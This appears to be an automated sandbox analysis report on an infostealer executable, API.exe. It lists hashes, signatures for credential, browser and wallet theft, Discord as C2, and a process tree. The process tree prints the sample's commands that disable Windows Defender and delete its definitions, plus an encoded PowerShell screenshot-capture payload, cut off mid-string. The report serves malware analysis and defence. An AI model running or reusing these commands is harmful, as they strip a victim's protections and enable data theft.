0c89c0d06ecfe89860ff6defd3e22a0b707b253f2f23f80192b3b3b9a1b28458

Analysis

max time kernel
191s
max time network
198s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
21-04-2024 20:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

API.exe
Size

6.6MB
MD5

07fcda5e8c88548ab30e7a26b0304d8a
SHA1

b6abf49f34ab1465cd6f671b2148e5ddcaa2f152
SHA256

0c89c0d06ecfe89860ff6defd3e22a0b707b253f2f23f80192b3b3b9a1b28458
SHA512

cd6cb17854b0e47efb7325f22d119976a1a6fefd968e601ad0869c2467fc83f395bac237536d009aa8aac5fa22a594c711c05498019436f3503a6e7d90680b92
SSDEEP

196608:Yry7bJ7hEDOYjJlpZstQoS9Hf12VKXPXC9b8CuVj:5lEBpGt7G/Moy9bkj

Score

10^/10

evasion spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
316	MpCmdRun.exe

Executes dropped EXE 1 IoCs

pid	Process
4300	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe
2376	API.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001abf2-67.dat	upx
behavioral1/memory/2376-70-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx
behavioral1/files/0x000700000001abbe-73.dat	upx
behavioral1/files/0x000700000001abf0-76.dat	upx
behavioral1/files/0x000700000001abc3-129.dat	upx
behavioral1/memory/2376-130-0x00007FF9FACD0000-0x00007FF9FACF4000-memory.dmp	upx
behavioral1/memory/2376-131-0x00007FF9FB1A0000-0x00007FF9FB1AF000-memory.dmp	upx
behavioral1/files/0x000700000001abc2-128.dat	upx
behavioral1/files/0x000700000001abc1-127.dat	upx
behavioral1/files/0x000700000001abc0-126.dat	upx
behavioral1/files/0x000700000001abbf-125.dat	upx
behavioral1/files/0x000700000001abbd-124.dat	upx
behavioral1/files/0x000700000001abf8-123.dat	upx
behavioral1/files/0x000700000001abf6-122.dat	upx
behavioral1/files/0x000700000001abf5-121.dat	upx
behavioral1/files/0x000700000001abf1-118.dat	upx
behavioral1/files/0x000700000001abef-117.dat	upx
behavioral1/memory/2376-136-0x00007FF9F6650000-0x00007FF9F667C000-memory.dmp	upx
behavioral1/memory/2376-138-0x00007FF9F6120000-0x00007FF9F613E000-memory.dmp	upx
behavioral1/memory/2376-137-0x00007FF9F6630000-0x00007FF9F6648000-memory.dmp	upx
behavioral1/memory/2376-139-0x00007FF9F5FA0000-0x00007FF9F6111000-memory.dmp	upx
behavioral1/memory/2376-140-0x00007FF9F5F80000-0x00007FF9F5F99000-memory.dmp	upx
behavioral1/memory/2376-141-0x00007FF9F6620000-0x00007FF9F662D000-memory.dmp	upx
behavioral1/memory/2376-142-0x00007FF9F5F50000-0x00007FF9F5F7E000-memory.dmp	upx
behavioral1/memory/2376-143-0x00007FF9F5E90000-0x00007FF9F5F47000-memory.dmp	upx
behavioral1/memory/2376-145-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx
behavioral1/memory/2376-146-0x00007FF9F59D0000-0x00007FF9F5D47000-memory.dmp	upx
behavioral1/memory/2376-149-0x00007FF9F6650000-0x00007FF9F667C000-memory.dmp	upx
behavioral1/memory/2376-150-0x00007FF9F5E60000-0x00007FF9F5E6D000-memory.dmp	upx
behavioral1/memory/2376-151-0x00007FF9F54F0000-0x00007FF9F5608000-memory.dmp	upx
behavioral1/memory/2376-148-0x00007FF9F5E70000-0x00007FF9F5E85000-memory.dmp	upx
behavioral1/memory/2376-147-0x00007FF9FACD0000-0x00007FF9FACF4000-memory.dmp	upx
behavioral1/memory/2376-153-0x00007FF9F6120000-0x00007FF9F613E000-memory.dmp	upx
behavioral1/memory/2376-167-0x00007FF9F5FA0000-0x00007FF9F6111000-memory.dmp	upx
behavioral1/memory/2376-197-0x00007FF9F5F80000-0x00007FF9F5F99000-memory.dmp	upx
behavioral1/memory/2376-208-0x00007FF9F5E90000-0x00007FF9F5F47000-memory.dmp	upx
behavioral1/memory/2376-296-0x00007FF9F5F50000-0x00007FF9F5F7E000-memory.dmp	upx
behavioral1/memory/2376-311-0x00007FF9F59D0000-0x00007FF9F5D47000-memory.dmp	upx
behavioral1/memory/2376-322-0x00007FF9FACD0000-0x00007FF9FACF4000-memory.dmp	upx
behavioral1/memory/2376-321-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx
behavioral1/memory/2376-344-0x00007FF9F5E90000-0x00007FF9F5F47000-memory.dmp	upx
behavioral1/memory/2376-554-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx
behavioral1/memory/2376-555-0x00007FF9FACD0000-0x00007FF9FACF4000-memory.dmp	upx
behavioral1/memory/2376-559-0x00007FF9F6120000-0x00007FF9F613E000-memory.dmp	upx
behavioral1/memory/2376-560-0x00007FF9F5FA0000-0x00007FF9F6111000-memory.dmp	upx
behavioral1/memory/2376-682-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx
behavioral1/memory/2376-999-0x00007FF9E7530000-0x00007FF9E7995000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
66	discord.com
68	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
61	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4980	WMIC.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
4592	tasklist.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2880	powershell.exe
1048	powershell.exe
1048	powershell.exe
2880	powershell.exe
1048	powershell.exe
2880	powershell.exe
4088	powershell.exe
4088	powershell.exe
4088	powershell.exe
3416	powershell.exe
3416	powershell.exe
3416	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
4388	powershell.exe
4388	powershell.exe
4388	powershell.exe
4388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeIncreaseQuotaPrivilege	1048	powershell.exe
Token: SeSecurityPrivilege	1048	powershell.exe
Token: SeTakeOwnershipPrivilege	1048	powershell.exe
Token: SeLoadDriverPrivilege	1048	powershell.exe
Token: SeSystemProfilePrivilege	1048	powershell.exe
Token: SeSystemtimePrivilege	1048	powershell.exe
Token: SeProfSingleProcessPrivilege	1048	powershell.exe
Token: SeIncBasePriorityPrivilege	1048	powershell.exe
Token: SeCreatePagefilePrivilege	1048	powershell.exe
Token: SeBackupPrivilege	1048	powershell.exe
Token: SeRestorePrivilege	1048	powershell.exe
Token: SeShutdownPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeSystemEnvironmentPrivilege	1048	powershell.exe
Token: SeRemoteShutdownPrivilege	1048	powershell.exe
Token: SeUndockPrivilege	1048	powershell.exe
Token: SeManageVolumePrivilege	1048	powershell.exe
Token: 33	1048	powershell.exe
Token: 34	1048	powershell.exe
Token: 35	1048	powershell.exe
Token: 36	1048	powershell.exe
Token: SeDebugPrivilege	4592	tasklist.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	4184	firefox.exe
Token: SeDebugPrivilege	4184	firefox.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeIncreaseQuotaPrivilege	2268	WMIC.exe
Token: SeSecurityPrivilege	2268	WMIC.exe
Token: SeTakeOwnershipPrivilege	2268	WMIC.exe
Token: SeLoadDriverPrivilege	2268	WMIC.exe
Token: SeSystemProfilePrivilege	2268	WMIC.exe
Token: SeSystemtimePrivilege	2268	WMIC.exe
Token: SeProfSingleProcessPrivilege	2268	WMIC.exe
Token: SeIncBasePriorityPrivilege	2268	WMIC.exe
Token: SeCreatePagefilePrivilege	2268	WMIC.exe
Token: SeBackupPrivilege	2268	WMIC.exe
Token: SeRestorePrivilege	2268	WMIC.exe
Token: SeShutdownPrivilege	2268	WMIC.exe
Token: SeDebugPrivilege	2268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2268	WMIC.exe
Token: SeRemoteShutdownPrivilege	2268	WMIC.exe
Token: SeUndockPrivilege	2268	WMIC.exe
Token: SeManageVolumePrivilege	2268	WMIC.exe
Token: 33	2268	WMIC.exe
Token: 34	2268	WMIC.exe
Token: 35	2268	WMIC.exe
Token: 36	2268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2268	WMIC.exe
Token: SeSecurityPrivilege	2268	WMIC.exe
Token: SeTakeOwnershipPrivilege	2268	WMIC.exe
Token: SeLoadDriverPrivilege	2268	WMIC.exe
Token: SeSystemProfilePrivilege	2268	WMIC.exe
Token: SeSystemtimePrivilege	2268	WMIC.exe
Token: SeProfSingleProcessPrivilege	2268	WMIC.exe
Token: SeIncBasePriorityPrivilege	2268	WMIC.exe
Token: SeCreatePagefilePrivilege	2268	WMIC.exe
Token: SeBackupPrivilege	2268	WMIC.exe
Token: SeRestorePrivilege	2268	WMIC.exe
Token: SeShutdownPrivilege	2268	WMIC.exe
Token: SeDebugPrivilege	2268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2268	WMIC.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4184	firefox.exe
4184	firefox.exe
4184	firefox.exe
4184	firefox.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4184	firefox.exe
4184	firefox.exe
4184	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4184	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 2376	3244	API.exe	73
PID 3244 wrote to memory of 2376	3244	API.exe	73
PID 2376 wrote to memory of 320	2376	API.exe	74
PID 2376 wrote to memory of 320	2376	API.exe	74
PID 2376 wrote to memory of 796	2376	API.exe	75
PID 2376 wrote to memory of 796	2376	API.exe	75
PID 796 wrote to memory of 2880	796	cmd.exe	78
PID 796 wrote to memory of 2880	796	cmd.exe	78
PID 320 wrote to memory of 1048	320	cmd.exe	79
PID 320 wrote to memory of 1048	320	cmd.exe	79
PID 2376 wrote to memory of 1812	2376	API.exe	80
PID 2376 wrote to memory of 1812	2376	API.exe	80
PID 1812 wrote to memory of 4592	1812	cmd.exe	82
PID 1812 wrote to memory of 4592	1812	cmd.exe	82
PID 2376 wrote to memory of 4492	2376	API.exe	83
PID 2376 wrote to memory of 4492	2376	API.exe	83
PID 4492 wrote to memory of 4088	4492	cmd.exe	86
PID 4492 wrote to memory of 4088	4492	cmd.exe	86
PID 796 wrote to memory of 316	796	cmd.exe	88
PID 796 wrote to memory of 316	796	cmd.exe	88
PID 4088 wrote to memory of 448	4088	powershell.exe	89
PID 4088 wrote to memory of 448	4088	powershell.exe	89
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 4152 wrote to memory of 4184	4152	firefox.exe	92
PID 2376 wrote to memory of 3180	2376	API.exe	93
PID 2376 wrote to memory of 3180	2376	API.exe	93
PID 448 wrote to memory of 4112	448	csc.exe	95
PID 448 wrote to memory of 4112	448	csc.exe	95
PID 3180 wrote to memory of 3416	3180	cmd.exe	96
PID 3180 wrote to memory of 3416	3180	cmd.exe	96
PID 4184 wrote to memory of 3824	4184	firefox.exe	97
PID 4184 wrote to memory of 3824	4184	firefox.exe	97
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98
PID 4184 wrote to memory of 1364	4184	firefox.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\API.exe
"C:\Users\Admin\AppData\Local\Temp\API.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Users\Admin\AppData\Local\Temp\API.exe
  "C:\Users\Admin\AppData\Local\Temp\API.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\API.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\API.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2880
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgAC